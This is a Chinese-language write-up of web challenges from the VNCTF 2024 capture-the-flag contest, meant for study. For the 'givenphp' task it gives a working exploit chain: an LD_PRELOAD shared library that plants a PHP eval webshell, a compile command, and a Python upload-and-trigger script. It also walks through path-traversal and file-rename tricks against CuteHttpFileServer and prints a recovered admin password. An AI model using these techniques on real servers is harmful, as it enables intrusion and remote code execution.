vnctf_2024
参考师傅们的 wp
gxngxngxn 师傅:https://www.cnblogs.com/gxngxngxn/p/18018284
l1nyz-tel 师傅:https://l1nyz-tel.cc/2024/2/18/VNCTF2024-Writeup/
Web
Checkin
开局是一个小游戏,查看源代码寻找游戏的代码逻辑。
在 game.js 里写明了游戏的通关逻辑。把游戏胜利后的代码复制下来去控制台上执行一遍即可。
TrySent
题目是一个 SentCMS. 随便注册登录成功后在个人页面右下角看到了版本信息 4.0.5
网上搜一搜该 CMS 相关的漏洞。
在佬的一位博客上发现
https://blog.hanayuzu.top/articles/37dacab4.html
博客内写明了如何验证漏洞存在以及攻击方式。按部就班的打就可以。
访问返回的网址即可。
以下题目均为赛后复现
givenphp
<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){handleFileUpload($_FILES['file']);
}
if(isset($_GET['challenge'])){waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){$func();
system("whoami");
}
}
function waf()
{if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo ' 文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {echo $destination;} else {echo ' 文件移动失败。';}
}
首先可以看到存在文件上传。然后紧接着就是对我们传入的变量进行过滤,最后落到的函数 $func=create_function("","putenv('$key=$value');");
正好前两天看到也在研究类似的东西。
文章如下:
从一道题学习 LD_PRELOAD & putenv()
LD_PRELOAD 是 Linux 的环境变量,它允许你定义在程序运行前优先加载的动态链接库。通过这个环境变量,我们可以加载别的动态链接库,用恶意函数覆盖正常函数。
在 php 中,可使用 putenv()函数设置 LD_PRELOAD 环境变量来加载指定的 so 文件,so 文件中包含自定义函数进行劫持从而达到执行恶意命令的目的。
但劫持哪个命令呢,可以看到代码中执行了 whoami 命令,正好我们就可以劫持这个命令。
对于该命令,我们可以重写 puts 函数。
首先写成.c 文件
#include <stdio.h>
#include <stdlib.h>
int puts(const char *message) {printf("hack you!!!");
system("echo '<?php @eval($_POST[0]);?>' > /var/www/html/haxo.php");
return 0;
}
成功执行的话,会在 haxo.php
留下后门
紧接着编译为.so 文件
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
然后上传就行了。上传完之后会得到上传文件的路径,放入 putenv 里进行命令劫持。
这里会出现 create_function
自己本地测试过就会发现是\x00lambda_1
思路就是这样,这里引入一下比赛中 web 大佬 Tel 的脚本
import requests
url = "http://d19a0faf-ab06-4db1-85a0-806d02bdeb2f.vnctf2024.manqiu.top:80/index.php"
data = {"upload":1}
file = {"file":open('2.so','rb')
}
r = requests.post(url,data=data,files=file)
print(r.text[-45:])
fn = r.text[-45:].strip()
param = {
"challenge":1,
"key":"LD_PRELOAD",
"value":fn,
"guess":'\x00lambda_1'
}
r = requests.get(url,params=param)
print(r.text)
Author: TEL
Link: https://l1nyz-tel.cc/2024/2/18/VNCTF2024-Writeup/
Source: TEL
Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
由于我写的 c 文件和佬的不一样。所以上传成功后访问 haxo.php 的后门进行 rce 即可
0=system('cat /flag_is_h3eeere');
CutePath
赛后比赛群里看到, 这题存在多个 cve,只要手速快就能申请去。
谁家打比赛还送 cve 啊
题目环境是最新更新的 CuteHttpFileServer/chfs
由于是最新更新的,所以网上找不到漏洞。然后在 github 上发现了有人提出的问题
ok, 我们尝试一下访问根目录文件夹。
上一级目录中存在一个文件名为 base 编码的文件。
解码出来看看 admin:gdgm.edu.cn@M1n9K1n9P@as
给了用户名和密码
那么就登录吧!
然后还是利用目录穿越找到了 flag:http://manqiu.top:20529/#/../../..//flag/flag
但权限不够我们去下载,无法获得 flag。
发现可以把文件进行重命名../../../../../home/ming/share_main/flag.txt
这样可以把文件转移到我们拥有下载权限的目录下
返回最开始的目录,点击下载即可。
总结
剩下几道题,有三道是公共靶机没法复现了,还有一道只有一血。看到 Tel 师傅是直接比赛现场挖洞,挖了一个 cve。。。太强了。。。
以后比赛一定得长个记性,每个题目都去深入的看一遍,深入的想一遍。而不是因为需要审计过多的源码就放弃了。。。
这样在比赛结束后题目关了之后自己有印象还能跟着 wp 过一遍,不至于像这次一样盲人捉瞎。
算是打的比较完整的一个比赛,题目质量高!高!!高!!!
能学到很多东西,期待下一场 VNCTF 了!